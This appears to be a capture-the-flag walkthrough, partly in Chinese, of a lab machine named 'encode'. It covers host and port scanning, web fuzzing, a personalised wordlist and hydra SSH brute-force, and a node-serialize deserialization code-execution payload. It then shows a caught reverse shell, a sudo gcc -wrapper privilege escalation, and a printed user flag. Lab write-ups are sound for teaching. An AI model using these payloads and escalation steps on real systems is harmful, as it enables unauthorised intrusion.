❯ sudo arp-scan -l Interface: eth0, type: EN10MB, MAC: 5e:bb:f6:9e:ee:fa, IPv4: 192.168.60.100 Starting arp-scan 1.10.0 with 256 hosts (https://github.com/royhills/arp-scan) 192.168.60.1 00:50:56:c0:00:08 VMware, Inc. 192.168.60.2 00:50:56:e3:f6:57 VMware, Inc. 192.168.60.228 08:00:27:d1:79:1e PCS Systemtechnik GmbH 192.168.60.254 00:50:56:e1:d8:58 VMware, Inc.
11 packets received by filter, 0 packets dropped by kernel Ending arp-scan 1.10.0: 256 hosts scanned in 2.022 seconds (126.61 hosts/sec). 4 responded ❯ export ip=192.168.60.228 ❯ rustscan -a $ip .----. .-. .-. .----..---. .----. .---. .--. .-. .-. | {} }| { } |{ {__ {_ _}{ {__ / ___} / {} \ | `| | | .-. \| {_} |.-._} } | | .-._} }\ }/ /\ \| |\ | `-' `-'`-----'`----' `-' `----' `---' `-' `-'`-' `-' The Modern Day Port Scanner. ________________________________________ : http://discord.skerritt.blog : : https://github.com/RustScan/RustScan : -------------------------------------- TCP handshake? More like a friendly high-five! [~] The config file is expected to be at "/home/Pepster/.rustscan.toml" [!] File limit is lower than default batch size. Consider upping with --ulimit. May cause harm to sensitive servers [!] Your file limit is very small, which negatively impacts RustScan's speed. Use the Docker image, or up the Ulimit with '--ulimit 5000'. Open 192.168.60.228:22 Open 192.168.60.228:80 Open 192.168.60.228:3000 [~] Starting Script(s) [~] Starting Nmap 7.95 ( https://nmap.org ) at 2025-03-05 13:41 CST Initiating ARP Ping Scan at 13:41 Scanning 192.168.60.228 [1 port] Completed ARP Ping Scan at 13:41, 0.07s elapsed (1 total hosts) Initiating Parallel DNS resolution of 1 host. at 13:41 Completed Parallel DNS resolution of 1 host. at 13:41, 0.01s elapsed DNS resolution of 1 IPs took 0.01s. Mode: Async [#: 3, OK: 0, NX: 1, DR: 0, SF: 0, TR: 1, CN: 0] Initiating SYN Stealth Scan at 13:41 Scanning 192.168.60.228 [3 ports] Discovered open port 3000/tcp on 192.168.60.228 Discovered open port 80/tcp on 192.168.60.228 Discovered open port 22/tcp on 192.168.60.228 Completed SYN Stealth Scan at 13:41, 0.04s elapsed (3 total ports) Nmap scan report for 192.168.60.228 Host is up, received arp-response (0.00046s latency). Scanned at 2025-03-05 13:41:38 CST for 0s
PORT STATE SERVICE REASON 22/tcp open ssh syn-ack ttl 64 80/tcp open http syn-ack ttl 64 3000/tcp open ppp syn-ack ttl 64 MAC Address: 08:00:27:D1:79:1E (PCS Systemtechnik/Oracle VirtualBox virtual NIC)
Read data files from: /usr/share/nmap Nmap done: 1 IP address (1 host up) scanned in 0.35 seconds Raw packets sent: 4 (160B) | Rcvd: 4 (160B)
❯ wfuzz -c -z file,/usr/share/seclists/Discovery/Web-Content/directory-list-lowercase-2.3-medium.txt,base64 -u "http://$ip:3000/FUZZ" --hw 15 /usr/lib/python3/dist-packages/wfuzz/__init__.py:34: UserWarning:Pycurl is not compiled against Openssl. Wfuzz might not work correctly when fuzzing SSL sites. Check Wfuzz's documentation for more information. ******************************************************** * Wfuzz 3.1.0 - The Web Fuzzer * ******************************************************** Target: http://192.168.60.228:3000/FUZZ Total requests: 207643 ===================================================================== ID Response Lines Word Chars Payload ===================================================================== 000000014: 200 0 L 2 W 11 Ch "http://192.168.60.228:3000/" 000041849: 200 0 L 2 W 11 Ch "http://192.168.60.228:3000/" Total time: 272.1738 Processed Requests: 61854 Filtered Requests: 61852 Requests/sec.: 227.2591
[+] Insert the information about the victim to make a dictionary [+] If you don't know all the info, just hit enter when asked! ;) > First Name: charlie > Surname: > Nickname: > Birthdate (DDMMYYYY): > Partners) name: > Partners) nickname: > Partners) birthdate (DDMMYYYY): > Child's name: > Child's nickname: > Child's birthdate (DDMMYYYY):
> Pet's name: > Company name: > Do you want to add some key words about the victim? Y/[N]: Y > Please enter the words, separated by comma. [i.e. hacker,juice,black], spaces will be removed: eeuu,washington > Do you want to add special chars at the end of words? Y/[N]: > Do you want to add some random numbers at the end of words? Y/[N]: > Leet mode? (i.e. leet = 1337) Y/[N]: [+] Now making a dictionary... [+] Sorting list and removing duplicates... [+] Saving dictionary to charlie.txt, counting 260 words. > Hyperspeed Print? (Y/n) : [+] Now load your pistolero with charlie.txt and shoot! Good luck! ❯ hydra -l charlie -P charlie.txt ssh://$ip -I Hydra v9.5 (c) 2023 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway). Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2025-03-05 14:10:34 [WARNING] Many SSH configurations limit the number of parallel tasks, it is recommended to reduce the tasks: use -t 4 [DATA] max 16 tasks per 1 server, overall 16 tasks, 260 login tries (l:1/p:260), ~17 tries per task [DATA] attacking ssh://192.168.60.228:22/ [ERROR] target ssh://192.168.60.228:22/ does not support password authentication (method reply 4). ❯ ssh adaa@$ip The authenticity of host '192.168.60.228 (192.168.60.228)' can't be established. ED25519 key fingerprint is SHA256:FQI6CQCD3uUo59olao5SmG/3b/R9quOafr6mSSLvdlA. This key is not known by any other names. Are you sure you want to continue connecting (yes/no/[fingerprint])? yes Warning: Permanently added '192.168.60.228' (ED25519) to the list of known hosts. [email protected]: Permission denied (publickey).
{"username":"_$$ND_FUNC$$_function(){require('child_process').exec('ping 192.168.60.100 -c 2', function(error,stdout, stderr) { console.log(stdout) });}()","country":"eeuu","city":"washington"} ------------------------------------------ ❯ sudo tcpdump icmp [sudo] password for Pepster: tcpdump: verbose output suppressed, use -v[v]... for full protocol decode listening on eth0, link-type EN10MB (Ethernet), snapshot length 262144 bytes 14:33:52.708939 IP 192.168.60.228 > 192.168.60.100: ICMP echo request, id 842, seq 1, length 64 14:33:52.709381 IP 192.168.60.100 > 192.168.60.228: ICMP echo reply, id 842, seq 1, length 64 14:33:53.710871 IP 192.168.60.228 > 192.168.60.100: ICMP echo request, id 842, seq 2, length 64 14:33:53.710883 IP 192.168.60.100 > 192.168.60.228: ICMP echo reply, id 842, seq 2, length 64
用户提权
修改payload，尝试反弹一下shell
可以利用sudo执行gcc提权至charlie
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16
❯ pwncat-cs -lp 4444 [14:51:43] Welcome to pwncat 🐈! __main__.py:164 [14:52:09] received connection from 192.168.60.228:57140 bind.py:84 [14:52:09] 0.0.0.0:4444: normalizing shell path manager.py:957 [14:52:10] 192.168.60.228:57140: registered new host w/ db manager.py:957 (local) pwncat$ (remote) www-data@encode:/var/www$ sudo -l Matching Defaults entries for www-data on encode: env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin
User www-data may run the following commands on encode: (charlie) NOPASSWD: /usr/bin/gcc (remote) www-data@encode:/var/www$ sudo -u charlie /usr/bin/gcc -wrapper /bin/bash,-s . charlie@encode:/var/www$ cd ~ charlie@encode:~$ cat user.txt 08dbb8d26b8b558eb171978b5c16c020
Root提权
同时用户charlie也有sudo权限
1 2 3 4 5 6
charlie@encode:~$ sudo -l Matching Defaults entries for charlie on encode: env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin
User charlie may run the following commands on encode: (root) NOPASSWD: /usr/bin/ytree
